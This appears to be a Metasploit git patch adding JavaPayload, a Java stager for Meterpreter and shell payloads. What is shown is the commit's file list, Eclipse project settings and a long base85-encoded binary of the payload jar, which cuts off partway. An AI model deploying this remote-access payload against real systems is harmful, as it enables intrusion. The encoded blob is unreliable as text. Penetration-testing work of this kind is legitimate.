From 232af015cb65de5e2fa51efdd39846a6b5d6bd48 Mon Sep 17 00:00:00 2001 From: James Lee Date: Fri, 20 Aug 2010 07:09:51 +0000 Subject: [PATCH] add source code for javapayload, thanks mihi. see #406 git-svn-id: file:///home/svn/framework3/trunk@10075 4d416f70-5f16-0410-b530-b9f4589650da --- external/source/javapayload/.classpath | 6 + external/source/javapayload/.project | 17 + .../.settings/org.eclipse.jdt.core.prefs | 12 + .../javapayload/JavaPayload4Meterpreter.jar | Bin 0 -> 19504 bytes external/source/javapayload/build.xml | 68 ++++ .../example-reverse-meterpreter.jar | Bin 0 -> 8546 bytes .../source/javapayload/example-spawn-bind.jar | Bin 0 -> 4539 bytes .../javapayload/example-standalone-jsh.jar | Bin 0 -> 10933 bytes external/source/javapayload/index.html | 331 +++++++++++++++++ .../MemoryBufferURLConnection.java | 68 ++++ .../MemoryBufferURLStreamHandler.java | 17 + .../src/javapayload/stage/Exec.java | 60 +++ .../src/javapayload/stage/JSh.java | 346 ++++++++++++++++++ .../javapayload/stage/JShSignalSender.java | 84 +++++ .../javapayload/stage/JShStreamForwarder.java | 108 ++++++ .../src/javapayload/stage/Meterpreter.java | 25 ++ .../src/javapayload/stage/SendParameters.java | 53 +++ .../src/javapayload/stage/Shell.java | 56 +++ .../src/javapayload/stage/Stage.java | 42 +++ .../javapayload/stage/StreamForwarder.java | 79 ++++ .../src/javapayload/stage/SystemInfo.java | 92 +++++ .../src/javapayload/stage/UpExec.java | 71 ++++ .../javapayload/src/metasploit/Payload.java | 308 ++++++++++++++++ 23 files changed, 1843 insertions(+) create mode 100644 external/source/javapayload/.classpath create mode 100644 external/source/javapayload/.project create mode 100644 external/source/javapayload/.settings/org.eclipse.jdt.core.prefs create mode 100644 external/source/javapayload/JavaPayload4Meterpreter.jar create mode 100644 external/source/javapayload/build.xml create mode 100644 external/source/javapayload/example-reverse-meterpreter.jar create mode 100644 external/source/javapayload/example-spawn-bind.jar create mode 100644 external/source/javapayload/example-standalone-jsh.jar create mode 100644 external/source/javapayload/index.html create mode 100644 external/source/javapayload/src/com/metasploit/meterpreter/MemoryBufferURLConnection.java create mode 100644 external/source/javapayload/src/com/metasploit/meterpreter/MemoryBufferURLStreamHandler.java create mode 100644 external/source/javapayload/src/javapayload/stage/Exec.java create mode 100644 external/source/javapayload/src/javapayload/stage/JSh.java create mode 100644 external/source/javapayload/src/javapayload/stage/JShSignalSender.java create mode 100644 external/source/javapayload/src/javapayload/stage/JShStreamForwarder.java create mode 100644 external/source/javapayload/src/javapayload/stage/Meterpreter.java create mode 100644 external/source/javapayload/src/javapayload/stage/SendParameters.java create mode 100644 external/source/javapayload/src/javapayload/stage/Shell.java create mode 100644 external/source/javapayload/src/javapayload/stage/Stage.java create mode 100644 external/source/javapayload/src/javapayload/stage/StreamForwarder.java create mode 100644 external/source/javapayload/src/javapayload/stage/SystemInfo.java create mode 100644 external/source/javapayload/src/javapayload/stage/UpExec.java create mode 100644 external/source/javapayload/src/metasploit/Payload.java diff --git a/external/source/javapayload/.classpath b/external/source/javapayload/.classpath new file mode 100644 index 0000000000..3e7b356a50 --- /dev/null +++ b/external/source/javapayload/.classpath @@ -0,0 +1,6 @@ + + + + + + diff --git a/external/source/javapayload/.project b/external/source/javapayload/.project new file mode 100644 index 0000000000..c61d51830c --- /dev/null +++ b/external/source/javapayload/.project @@ -0,0 +1,17 @@ + + + JavaPayload4Meterpreter + + + + + + org.eclipse.jdt.core.javabuilder + + + + + + org.eclipse.jdt.core.javanature + + diff --git a/external/source/javapayload/.settings/org.eclipse.jdt.core.prefs b/external/source/javapayload/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000000..6e6b73c6c6 --- /dev/null +++ b/external/source/javapayload/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,12 @@ +#Tue Aug 17 23:14:37 CEST 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.1 +org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve +org.eclipse.jdt.core.compiler.compliance=1.3 +org.eclipse.jdt.core.compiler.debug.lineNumber=generate +org.eclipse.jdt.core.compiler.debug.localVariable=generate +org.eclipse.jdt.core.compiler.debug.sourceFile=generate +org.eclipse.jdt.core.compiler.problem.assertIdentifier=ignore +org.eclipse.jdt.core.compiler.problem.enumIdentifier=ignore +org.eclipse.jdt.core.compiler.source=1.3 diff --git a/external/source/javapayload/JavaPayload4Meterpreter.jar b/external/source/javapayload/JavaPayload4Meterpreter.jar new file mode 100644 index 0000000000000000000000000000000000000000..173be1a8512c53a566335e915bdd2c85147fcfc5 GIT binary patch literal 19504 zcmaHSWmKe1k~K}^?v1;=j2oM z~o-fj{k}2 zqd3w^$V^G7f<$~Fo4kkfY|D&PLX}ohcFCd+IGwzMb4h@UMrRF_zD4t4Nr=3Oq=}SP za*jmjy^X(T^=$KK`)^}F{%*`aO#b^9*yq#O-j?CN%>ADT#D5@cOk3;{Su~f4!F{ zYo!Vza1ap0&$r6`f7>o=YHRQ0DdcKqX6mG>BqMBZXJ=~cVrg$jZ){`e>>RE3s*Wm- z_6`AxnygAht%Z&r$qvTYbgx-e1x7^~gQ1AsR3*&}ZJn^;;+}7`b@}-E$8TBx<*OC^ zOlHCRlJkrB{oRz^53s9auJhj$U0XhnoAzdQPme!;))Zi8wH6v83FF2%@fI6m4zn`H zEbQpv)(k^OIq~9)@P;Memas1DHP-XziOEA;C%$AWG6)MJ8DqN<=7~wdgHqi~S!0Hl zVPqYw6nW&R9Y$fBa?!$1)^a&vv+p!A^P>hA%r3(Vm9O7mPwjL9U{kkSN3JUY?3qhQ zL(aI<&YijS#aCIFJ05X+WPtRev>U<@IQ41^p57iR zUujZOVb|6Ruwfdw@p+*K&9=@$&b|@mO6U}!G`GeHL1Y{#?Ax=;Z)#dVZ&qJ^@k*Uk z)dt+8xrLWGMjQC8`W~3@Ku8p<8eE{dYbS(~`7P)|E}i#zXHsTDfZ-mm$;`v|4dR0! z++jCPz2$2N;IRj${b?)WqjP7`o^5A;Zi=)Rwpj@4y3P>0shY{~O&Qu(%ybO$Em8a( z%Dz;f`)tJ?U*~jBzSUI#5b=)%LD@199>E^eFaC6PKgX zM2xcDO7Zge$H?kbaLw1j z>x8rWg5xJV|A~07@+8}(cF!}1&3H4lL@xJD&w*6``Yu!1gAR?~E1XA|jLcMPqY#T~=lF{N!w4HL$5uDc! zlU`p;48Ku}OD*C9Hpl1fdWeoNP$VYbmeb)Z!>WNU%~bV>JIhJn!CdAEQ44w7ya#|l$6 zwC`I+H_K7_0_)lj31Y7n`iJueHLpYiy#w}_j+$I{=C67ov&4bd3c3ZC7wM#UI(yNp2VWE)F?vbm zHr+7*K~F?khe`YmH_+JS==%f$H9iNrQV0)e*)fc$faSF?CC?+ z#C8(>@p{wL-x^jC71;P4BYehKbOy-hJa1JO^aRHRG>})B zqdWH0XPrhHg0)~*yjW2v4YY&N9j0Z2U)O|PMH^?!CB9q~q|7)phD~wGHp>%v?Je-KbI|xV$E)n(WNK(DVQ6P! zW9sw|->c9o)&CvIH=!^(x(T}iGG5M^m)R6(S7z`2=$uIDJ|b@Vhm zsfeN?bf8qASXrNvv~(9Ixw0dZ$=+|Vk>1E6ft~_&hRiN7sqr@u|HM^cIL}z>7ORem zpC>2p?Io|vmzQk8NW;Eg`#I+#3m{l=_c-mg!Q`-0d#K3doHLmmFpl8vc00e|D4NPq zGZl$UI4-0yGpT5(zAGn_gIqTNCVW*YIA^n4wePs-(=Y=DXHa7@TBB&- zg0fOL&17{3*??!{hq0_oF*tCjV>P7I;OhG*B1{aZ_nqU_EkvD}cbph9w7bPpj*)xK z;Y=Fj$+66FYDQS@oWIjYdUjif8QTR+yp+w>IIFs~5;RYTG+ORRu@Km@9;u5q$68Dk zudryni&(UnUpl*fM-Ys-0{C}4^W$Bm(E+3M%gnmDQC8OqsQw!C5L4W<%s0#{EVMlB z_0trR^7QU!O&50d%by>wZOtj1W3Hw2ctg^rW*J9mMScVd8!>1o4i+HMJEsdAg z)A zn;pa4l7>LPBU)m+#}}Bu$C(x0kJ{GSD-bviaJH50P0#d7`om0GC1ce14!*V)O~O5@ zAio51T&EWu+^x%7ICJm3jECVz95>+|^FWE;Q9tQCL3-uLiuS4A4K^F9IDY>!#%_$) z(+iOs^rXlOaTu0V)VCUeeJJ? z>;~yv)tA`r%1d>4E5U(Et#VPruZ2Y_7yW9d6$^To4X5{~T}$3I>J^)zoVQtg85>Be z<1s!lY0qYd8PEQ=zUDa}<0mZJLF7K7A()xU+oI^y+d4?V{zuiPFK-Iq=zaqQ1h>az z_*v@Prr>`0LQr~!y+0MVOQ>Z+oI&4{Uw`f$Uba0$qGN9pcuopjpQ?kuMXCSMDN_9j z)hp1?0R9H6>{rxNqgraZ_)*@+`^14EFg@nqKWR-(8=&6i8IBYGQUw#avxWYIn4Pfp zF`DdG(&JBc<&B=cgGkNVdj|8S7*cdaVfQ{U=}&VdKusI^p}PG6_9hxqu>;Bm1sca{ z08S^I^Zh3bp2n!`51bI3URj0QG2bv8*=;oRl3iBx3I{K!3P%VI7IZk+%)!iGpw=4x zBHO0x`csp*c2?k1=$tX3+#I*ydcF9x+oM8uo5T)rJ%hZJ1qQn)_=~VM3bl#`2@#Vk zeUnLOj5=eJ%rInng9R;0!H#V`YTz|$hDbF#&rP5Opz4&ZO5iv(idWp|%$*-_)xciV1OqzFx4c2W~HXb=l~J7hDd^ z8nP=O%aA11=0=e-0}nhTeNh&xr!meLBJ4Y;7U{D(ktv*fDz+idnrxLpQKRFT%^|#g zKoe@ET+OCNzbUD*DNfw5q)^&B?->)Jj?)a;uF!UZm8_}TB@di4|0N8-6St_&P_d8G zI7G2lSbG?la3MD=!UeZ4k;PDH;$kAPy(5?O?%(J3*0GwCxNosJ-LM>Drb)IDPh~PF z+?8~0LS9?6*Z!sA)3q2m!(44#700wGgUEH*(12DfMPa;x7Sk+UljCDwq!pehai5?D zpB>z=zw3c-Uu$d3K%pF@$XT}S&E`Y!d;SWcQ@Ow6$_{=D(VT64dfZIT49buwVSZ?{ z&~!k1WW%q))OY#Exb6|ed?Q;Y0?m;5y8(iPH^gd2rv5X;fq&kAL z^A87|!&u9Kw0BK-fnj9NfJZL>o6a`K^aA7C`006~$MY)bE5{zQVr6#xp&%&qTPpQX zj~8&CSOxEgsSs@ZAqFcCu%82yVE`_Uz@sY7+mr5uTSO&I?C9Yr6N-Wtm% zS09;PV{E^m+Q6-WJ<~OZI-!S}`75x)Q8h2h>K)38^03iASqoQa41Cd#O87j{6F;)+ znY{=I`px2{ly--%9N}}eMWt%ZZ;NHM-H=)__smnTNm&>rAZyHRUk~xlUo`vBU1w~+Z#m{idNWtvyj}?1(%r*RGLk^9 zdQ=ooxgh)AmeE}W0b_^iYI|2oamB2om$9l09<>viR}0-SOjh-z+(6f)0vQ_ObT!K- zVt)A$R%3GI%GT!6m7-%BNLmWv_W9(=5H+e;^tWz+K<+@iy+GkbF+7E^1=L73;}wbA zjqj5&ynf$p@VVqzI)H&C(kPX%|NRR~8u@EfVCio-4dM2N6c_kY%QdMCH*!Pn#K!b| zf7;SVv{Y|*!U-Y}G_|4nX4_(BFJ8k0vhhu6nx z78c7a@p3BiO1iYD@aUomE(A+XLj~L|nlOT6BcyH_UK7~3tfcE^--^gs)i5{ zZfw7rMdV+Q?iSl!Q5vs`Rl0;mw~vZ+*Kj?1jo}JuB*+xXbpI@x;$OoqM8g(UVLh|` zjqQ2xh>@dCs^WEw4WsnBo&v&`E%9@KH!=6DXXepyYK6ehQD!TBH7Os&3nrgCD~-;3 zzBrN$w3OfCSMh+H^DjDmA9kxJ)Na}Sgw5g*6n(kN-Q?4$*80g`Dr3IZ7zAJ!84(y# zWkr`D0{Ukv;b&fI43;H+BXSO+Y8IQDQ}QE(RZ^t7gLisnY27AEL^agLlH)|>=?FEhAB#EJlo_CLXFF?$?UkX)>g;K*B`O+>|hN; ziPe=kPQJlpbXD5jP_*4y+HK(Ykkoyj+}FpMNY_1W4aFLT<~B2{GDKk3sP-a(O>t?D zI32|%F)c!2B01r|EAQ+?!$+riS~@aKLe$SH5Sw(8m?KxzVqkp*itY0CTxC zoBLf8=D)g7-J3(KnV8_5id#`3OkoQ*5ZC(9#vj- z+mO#l20bpVNGuail9*zzD*Y0qw(${CN1OT(g%g_kv15~qGMCH>S#}(ktPlZXYsiiK z2F@Bk(|QZ`Q}m;zV8k4df`wZR?t0Lc@dgH7y2L$K7TnrYXMiw$C z*-C2w&U~WzM$Sa-(}v#3;7_=mNa))agP|$swx46IJSoXN?V;FT@U4lvgZ(GX-!;;i9N zqvwG=74x?)s$tuww$tLDEV z04KV#R|_g?NBnu;UXm8Aw)<_IW!x^KBmX9aEtF)8CKLtuk zj~n7Ooo$Q#`f3w&QJd-&{B7IY&L!!L2u!(5Ut!Auw3={&foNhO=La~e&9U8GjL;r5 zKuP%#lhwVUPSFA@gr?w~Nn=&^$V9V|SxJ(pn_4L?v<2AfL^a?SC1lOY2%+w-uFnFq zd`N_?YO6aaozLnmU(_*azGQe^aa{+JiZ%aKBoLjS%0Q9tH*Zr<1rm{*wcVbxpjD2ZmXV-g{8z;iXE$ zF9{CH_^SnZ631vW_e^l(o_B7A>#ibA@eOFRBSEL|=P7O|?Crl9!{~W4Dty{i6zE{e zO#_o4M<0rjOU-t|;zQ*meSeg4#C#VBrO6jrP+Xb#y`N`|*|%5I}VD%`C`S1BqK{QjbJDQp;hI>_UJxFNdrXzfC+=Y-sx zb$>6yrhk@rl^7;=_B!5&mMwI)HG1YgVlc|pMp3?%6r@$dT!nYk#e>))#bQbW7sKuR zfyVr+#xopVP)l?4`ZY}o*we>^c}_n%PFa|r_aZS8(wcOeMbdT$r62^uND74? zXvzF`xfA<}kM*^qG#^B!Y?MgWI5w|{UQC=QBXlDU>BKY!;MC1ZwZ#JJE?4YRqtYEG zl$RK?+kB%CC1^YQefCYV)fa7(2S4jENyJ>=laSg^n17uK)Ou7QcVZ?B75>*jfD`YZ z>THt2qiSSKYTOPveQU}I!@Hco4rGM>F%+l};q${+GE5Cp8AvC8aJ&)kWB*apW&x2_ z4_{`~YV3{orp~d`NDeMh_z@O$6CQJ$>)Zc=zvF0FQhKpXl z;%dL)U9)?3Lh@}wl3kkaZk%89?_cxNdX|K{M-IP+4ZoJ|^T~AT#XK^_JUWhcWOzu% zJVM7jN{*h9=&kPgj_pbQ*zwxExc10-@IWD0k?G{&-4w>ZWQkXo?d;&)tR3bdtQlMm zch4DqtsH*M-2bBj6u3ktpoc4^A9)sxaU8+%>BYf)fY85#5bx|w>Ff>T81W2Z@D8f+ z2&(Z45+`5bKV`zdhtN-;XQ1~*@zvd=9ULPc#7{6%Zp+88n_bW05C`>q0`UAfWNK&D zzx_}`c9{6EE{cDxAIE=(`PZ_57M}cL zuKc_Lrr*?RwRV|ZZNRn)ZXnQ31N|ov`EFKPuSuk%ldHzK8tuiLEBzZB!vW$s_MVwh z6uHw;%r!;W+GpUoPI5&?hzX9#F%jm6l$B+@BkwXll5Nmy&SFl+3?y4)RZ zI}1t!MJQoW#ePgF;+DeQVweO$dmi|hjwHs~X9VHu&dDvu`RmCPx$)*D9>WS$gajHm z=`$VZ<+@sQ1bpMukYqz6%nyvxw24Kry!y4MDVl!R;6>t}h z&)$NG76`EuzVLF`tXmShet=MRem(o4Bp9;MgZxGv63ym#Ig!?gY&L$;m{E9Ey;Yp9 zVm(4o^Ro(~Q!ehLFKwNiPr#+wEvKFS<_@3)VnQ6PK}th@9O=S7hZ?v7)f;wh8PBpm zsia4o#l#aG6?%oK62aMydL^!o+gJIW>` zX#^x+Dqta$xN;zJSMY?V$Y^X?L^i&hjf+nokB~^{E2(!VL1^+)kRE+J9enQPd@=K( z!CVh`BC+ip4P!x*o^jAS+{{MGdo_n>3*%fm(Y(p(@%mLTFMSR$JcjY<-%6)x?uoC| zpS-jB>OIJx_j|8TOZ`4t=@c8u#JP^YZ zhUkl&bVtu_``Wo(l?QpYY-i~=1oDSnQ4%&LF%)R>^rvBuE9$A14k%L6RdSZCiMKc`!yNzKioa6FGBALVBc6$3I(!}(8 zFdQA=cTmUZiUAd%)zGa|NHcJN)g9A=y!eF)ld+M*Ovz!TBuG9uL6)QQXrOj_9Zs}K zQf8GI<_fLwXrP(J0}2P3wl*u8uM!(``QXf9v3U~uh6=Ofnj*&H{>=W|K0Xq~S&`2X zcE876j~T-GjzFsMJY1e1O969OI^R>vr~#{(Zc2wbCTmrvktwTjT#N|R1&{Kv+U_;f*y3s)%oetFp>ouikWbu4tbTa5M9Th*p!M6w_g^6|72q{Z;`hp2mgby{OSD|ZJWl0&30)qy1IH-+cmBc7MH>^u#!F^RH9{! zpl5%Z8&n7E;E7wv>4>|}$p{a*4Qhw(sU)Pk%Fm9>atQ0-5vu#T-`3)>-&F*UkZvqG zvpEbUCUA$8n-?xp@fzjkPibXONxUI3%wQyCRvWfPe=aY}O9*ekHxb2Pjg@y%wI`bN zwg||K2+jf2h*&+8Kp#dqa-#BU0l zc-PbLanYb&p$BQmKmF45{Tpll%%9~^|3qrCx6A&uNB>-^KoV)xG2l2o2CEyd!K~40NvAg zkln?5panjH8P7LHBDPaM7IjomM5cN(npL znjk-3D=8)a3-y=Nz#6i)fI(CH_Fsv+Yc)IHj(?(?gDTtnkvD%+03O+)+~k{)e;!;f zJEz-Tr+-fC5e7TH<>%qFVA`>)&t8#}vl0I+%0sjlzXk%RNZHm0JDl3S4SHj54nxAt z!?B>S(hMH4W)AzH5m-Gz!NL)=?78}&h)NasD(WTYYuF8g{FZ(yfup&JH`7?O(4Vgb zLSpj=l^K2|?TcRTjPzT5Y;7vZWg*i97`LqrMFo?i zH zT~1lAybY0P?#N2CYHAzC%6_!n!NBY$tT0VM(~-|4nn8&HGB_&tE|R~*Umc0gPG(c9 zGb#kphJ&z?^AZL7k}#P1{Po*Bl)?5V`DME3A_KRuDUvJ$Kxq z-p4b1y&381q*x9gTusZ%?N7;bXASv0M*^rHC~TN!Rq*iaw~K+n11{=J_aSqN1F=By z6?KQYVsB6Dl)2nJCWO)&t2;{~T)VcpS9`4P`D;EugD1sdc}&BnG%ppS+ob^E9h?Q; zwe`}-f?W#|0XlVXT{aq5R}-!sI!*8Bw?#bpb8T$|#U|U|3^zhV3bR?5b{E9p*9~6Q zT|}GANiT5%v|4g`lEsuVp!bl`*t65CiXfQIcsTk3Lmgr z9k8E{$y%sX@cR)*|1}KKr0Pl3M7aMj>N0$D5+1rI-?UDQ(bi#4Sfr4%UZEc0U6MM*LFli@Ra4S}ly&Tz@0w_r)kxDADh@Nrlevo` z_pxyDiio~sGE7I>BT3~hEl)8p2E5YGD9fNHs^Vv0nS3q)=n(Qlogg-5c}U8m3U?mt zk7~q3uEjBUg$Reps6_!EyA#}jR5$s_o$=<8l4#W)|=h5$jo$f5u5gBCJ>f->}1H(=iGa{S5o=Qv0;_BG)_uCZ5 z6?=)wUu&nwfsBH8B4B;E<|LgCm|Qpvd27ykCP_Y-tFT8IDHTq9_B=gwS2JG;lKy zza{6g6vC24zzt94@u-x_i>VMQJ;r6)+IrDN|0%AU)GJF6E-lm@3!}cR0CbLQ)Gh_v zh|;9w*n5C2KI{f1??Zj|m*b3?_=5%M>`l-sD`Eete>nnbsg6>Gx~nYc2_XI4wNMJa zBDF|;^f>$rlTf>5{cWQ(GP6*3H{`>YS);gjG>ln(IH*1`zaJWlBbaZ$)CV|P`}YPt z23=d@*md;SSc>}}w}>vTq9pUyeXZ*sfBN|ZJewdAXJKxq_IrjHfSi%Ue_h#PY%t_D z>)yVS=d?3$c_Q|OXsQK!gZNh-QQfU$27U5q{xeSD{bwFonA+I~QjIW%Ffh`FDQ^fvR5*^*Cnkapnx92EevjmXZM;+i8_o=W^)T2a!bjG*eKS&sl;Ishb%IUWZCoMGTGxE^p;+Bc z<*55n87|6eim5!I>Ry7|DjM3Xgd!)rWrVb}UP~ziG$&8K(vkG+t+UxhqeW%79utvE zL+?D)V2cYKtQ&G51~>^Pj^nM3RM|%aMj@&t8=?ej?E&^g1b^?sVcPHXHJ=hbglSy8R~Um%zP5={JDY-MA@ICt?ml!{a8wn}B3g zw05Bdhgbtz2eXGYt05^So=CWYFyAScKQtR*+8*+(I>5nJ;s5dXA1WvpU7Iqn4Vobq zCirweh0eChv)L8M>G1u8Hh`P-GfAtKKary7P3dPCUG->&kX3q=kgvn&6bQzcd0QZ4 zkjJYmuI?k*r1r65Vg>wdun+L3h6}?bR5G&u0H7VV@C8M?S(Azpq86T4c?ZJgJ$P{u znbPQ+`dw*E_8UH2W%W|H@u+kaMQYPu9+Vj{k+de-lvt#a^C!`(=IzGYDM>dN&9+HwXkVh^5{5 zfqWD(2zB_J%7J>3KNCK_DFg8$)185H@!RqF3j;dVt-=15&_b-(#F+`HDb}+fG#ya&(lV6Vo(i=G!JFNRVaJ5|tC9@-nlKt4Y}~D)6LOSYSvme-i4I5(0oo zVo<%&hQ=laCI&_zU&JuPa`!ZU_^1&giZn1W{=1--#y%B|?{ibm{;y?%zjQ+Xc1}xD zmbFJwMB|IW;x^@O^g)kQqVnql!E4$T*RH6u5>g5ZmrWQ7!7^M00$EHjMLr^MQYs~3 z*sNTR`UG~S^tZJ-5v3xbbvZ|Q9=qMAdE7VCI0W8(USPg}uP4;~XpC~^oNj>S?HFm0 z<|TpJa{?hU;WXhYWfqhZ(i0LCLyBZZvp}hqXdT;Tu?2i~Z(eY8S@5b%ma#XLr`hh7 zY2X6quP}GT7oGZX=pfIs^*ozSPSFb{!smc{?5-_iwW(MYoO+ZUgM`&QszHK&Pt8UP zyz_NuDAi0dmFdkVRZP531icAsPp=am7A(a1KZ5URzok4MC}1>QK^9 zsC*csR8^!S2N-9#+3xnDwT{)p>@(K;Z^=wLMcMK?^ZYiWqQ5CM`gH-UHOqJI$pz|c zH@3?&5QXAjr{PkF?qcfm)WuDt4@j)V)ML5`5h1nT(##(l$N(#x-%8hAWMlL+h_%WF zWTBC!8zF`Xtt~42hpiSKDb;984`Em$V(E59n7NU-J4;F! zJHH={I|;zSTF0-51RIW!c1l|D5q8G+joG%q*Ys|EzcW8}J@TY{JM6eB(}lY9{^_I} zR<$Xg{!Eo+LDWc#KmmQNok98qU9^wb*8x9Zo>hb~GcRs{m&m^3yH1>u4BwB!L+(_S zTRgA@AxNi=pD{bMN}=auyG|F0?eYV@VEjhqA;)6BSpwHsQxF+924ymid(etcE(?zS zTVwo}f-MU@Z*}G~Bosh{fDr%Zu;A(JVrnaCXJ-G`?uu5`R>oCDdPkt0V3hgsU7}u6 zh8=q^9!V{FnJhg1hglK`Xt+=(dDDc5>~+$;_c9_%xM=UhZ|OW!gJ*z>CK+SHK7r4+%In@0NpaK)};>rem)} zs$2fnRdnJ3?UQjgO|*`^Bva>h%IxizOt#82Fu`KB`SHfp9wjaAZcFWKpdK#jF=cy9 ztm5%x`8TlD;bcDjLnELy&)mK237KoWjmoSMVk4J%1ZtbLGMQgPNpG)u31 z_xw1wXH#>_JwAM3ch@N9gmWnB&TGz%ekYBKf(CV6>zk`j0K@YMjb8WCHGIx!%Yhp$ zt7w@jx=+cT_ZwktXcMq5vng68Q0((R2ja_W&bz55z{^jLvcgXRvGF@$&LftyGbOW8 z2X`z-v_P}2R})lz&4i$VHBU(R7qZfT^6cpbTn5^kp_KXLTUXhl?}jf&rPe$a(ZPJ3Z$47TJpq(KD;tpTbLSW6T8fQ1 zNL#32vp27Cc7V~qrSSG4Bm7_or6z7@5)085d{r1mSFXfQ(Ua>g4(uo^sDwEz|508z z4VRAL4>hN`mY{me#DBILIi!+2qekK3iF5Mom_l6|p?YmZp>{sZcPEK10eT0G@`j#! z&w0@tk4B1vP$j4X{sAVp&Cg8Ys*8ta0rsZ>*dG3S1p720&Z3YnUi@pg7|L?)ejYha zKK##I$r|gjZ#)aD&d- zg3rkr(Y`d>o3{XX-4fTw+OzWLwS-$}7A~r1!0R5s>g*^7R;4}J0lz*bZ`cd3NrDv$}d+ z+0<$a=qfH@1KbGml?55^;^eE|OR*z+OKj`SfVF3#Cvspt(OvRwEfId`4ql2oMnb|L6}@9sWsqs-mloBZ}z0sj>+#BvF4a~t*1aP1< z24@6!XH9==_&5e|?<zy?T6_&FWhjlMt@G^=J;ib*|nm;PFyeHXY}Sg~%^ zu&C%vo%q}9d3#Vs94~)dcf~y;npjY;L2+qKD~W>bmy+I$jk6Ec6$Sw7X*w&}hu9jl zg^BJ8z5DP}n>L6S(2;7)`5JFDc59j`X3xmrfanbRc(3Lg64(RUZOG}Gm}9JH06mVo z1;g7T9B_FRW~ec3-In3Ey%g!P3ZQj+%!cWM=cpWy?MK%TlucOVD(qRq#CXDo4^YM9 zUEk5zdkPR7NP>CN*izpbcc@X#yL|}D)YMF1E5B2S$B%$3L8Ks1iQ5s09-!u8Sk_KY z*onBcIzdfm!c*5WGy1dLPTwF9xilv6bg_8#7DdD85chk6_$Hp93SNUozfiG^4UJ%|upAQ}M2-$JQb^-ZLO zY;0Xi6PfGbb7Ba-0fs|1GBr6){dYa6q+72?ri#zcf3wRShu*ET%dP%`Dv?@3c=;x7 zOVii0f*~i4x$p!3Xb1>mt_SMH*!Uf08Yo(uL;PAXn%(_m33>DY){U`qAM%@uVNO8S z-1pnlzp3k;bc}*F5I{g=J_X>IpL_A2l=TXKU9kEqBPrs9_P{x)W0|e1xF^s~E+EZ7 zlIQ^&OtHY$iS0ME3FW*NH8Dz5h;M2HCXHwjRiWTehOp~&Q5CT^BBcv$I5mdPk3l4S zhb0Y(Pu5eQI>opegQkHfaCjka;t_Pj zVfsXs(>WMsPjkiMAr8nHzk=QTPzuoR&0(C%xp|m2d2+^j7YbmzO5uG=0{eOR%)$J| zHeEA%rJel&2>p4mb7}JA4gD?{!2Kj%{71g?#T@@Q$=@*jqrB&5?@#F~0_Hc0hF5*& zH;$lp@qn$~OHa--&@*{2UBU09^{teMfvHglSXs>NyvJhUkeWg(~JdXqS(!w?}kkmfWa3L}#M4PHmhL_<8YYxXWi<92l_7Y=cwN z=Tngrdgie*)enNWe2cVW7#hWcuJjI%?<24|6018gZimH|4QU!RCNVTehAR~7)!*Tz z)xm@0qwC%DM~g9!>=CTrj5~XMK9KOS>A`*z{r9o3gFC>z$xTn*ZOhPp)w>@mo33h2 z+uioJDa?2QG+ja&-mENLf)u7>L$f@NG^Q3@UVE?y&KB`%_LasQ?$V?OnqgA(Sc=u2 zm~DrdRo1A=5~-MrEtuip`R!(*igU;ffz&dNHb{Lmx~5^jL&8gizs zm`sVKNF)VvGKAaIx3n56yaGi&)1hb+F`@ijELJ!cO9B`#ASmc$8;G;Sks1@Df>b$i7k3{_oHWn zO=Sc69bgRaGimq$ZKEUP#wSy_z}y_gRRW5i)VA-FrPE>CORhT>={6Uq;OwGB8BtMMKj`J~w8Ybo zp6T5nP=QcHDG!Nl;U~`k{aUn{#pRBwoGXqQ0(*`}z$=-L#x{wE#&*Gzs8Zp*juJ>4Hr4%$&h|P-wk}lm zCO)s6VNY{RCR)*0K*@) zhk7GFl;DcWu5X%4G}L8<&K#g({*)`2^(GIdVmKrkPtU0;uUn*-R2cho7CP{*$x=L3 z4$1M$$}~{r=z{SFO;6p-Z}xT-;zO5!^M~#iuniWx?=(90$c?grC)^{ap*UxuJ@IxE zZdY6d|0wy+l-#n|*9mte8r2N~R55PU49r;BtHVvtZ> zW$QHrldvR{_p0$IPGe%3@V&VOweRLe7HnKa`S8asNjf7lsV=xkXDRLZ;l*sG1L z$~VI-N#(8n;`q@itgL2Oi_V0*PJL;U`%R+mSM5W%;g*#-#P+WTwuTJApmt-G!a=v}Wj5mVB10CS3uZ7g63O1WA%o zjf>8dT70B+qU0{%ZhDj0j(E8$Blr@pQ*zzk+a@GX3%kSK=w*qFlQ2!R*)4})>zEp@ zrz4_yQ*|Tiq1k2v>L+cW!=g|YtHjE^@M9Zgly|Ho@rz6>ttk>_ zT&+Aa1L$ZoYh{-+&M~7i8gPQ^qRLRCMRgM1U^|Z)>&;FqC0}fJ!g3f|O`*(t($}>T zZxKS&1PhI7W{h5E&!@u=$nvM_b)FxZJNanx7tGStSmNq*niF2Fd>0@bF{0zL)ecUQ z%5E`|?gNO2Ria>X5Mk8}V9Q+TXN?@~HLu#(N#bgGz<8SK@v2m|cNU9nh?$bzy)fvD z=hXprWM08j%u+iBsjo|!_=PqJ40DP4sIRbvDPV^ib(`|1klYCiETjduPg0q{3j?9S_DSEV74%HA%L<8EKd#Iww%fc2TcQh5}u==vHA-7SbB}k^2Cel z1>C!mDrR*hL8*e?8+TvUY$i$1DHV1W-Xr0g7{~3jvb#jG&?XsC2cG>YnpO2JHs($>+07hN} z5PXeZU7RX4ha9uXg;=fIgy&}}So&K?Izpd~mtS&+7#$|=HcNK-CM7cw{0WwC#oNJN!cfGqz0AadiXA~?)NOuZ&!@=#>XnVW(SUWEv9`HK$Jf79rqb`&XwzpFiY9G zhx$z(wsjCC+dGDv$+E3|z~c@x1>2_Tj-ZAp)1NN!P6UxTEw5uBzy#ey6h5sw>b^r- z3IC~Nj9bQEObCi}Lc+8dDR^B%)+&e|%cPoD_@>C0pg>Sw`q1a>BvBec?KFdAsrSiS zk3|?&&bLVC8BV{4Wh+sHbXvGyeWmI&KBPB;7(OtYBw0W1kwY)LlxvA_9bf37#dXR> z-T)+aY6_f?lX+52%#fEPcvn7DlhWJuR2D=FY{;RfM7)ufVoA{QNqu?L;tk7}sugnh z0n)gWi|ppOg;~Pe_@SoH8$)CcT#7sz(R=1w{KrMtNsgSVmmPENs(Ks0 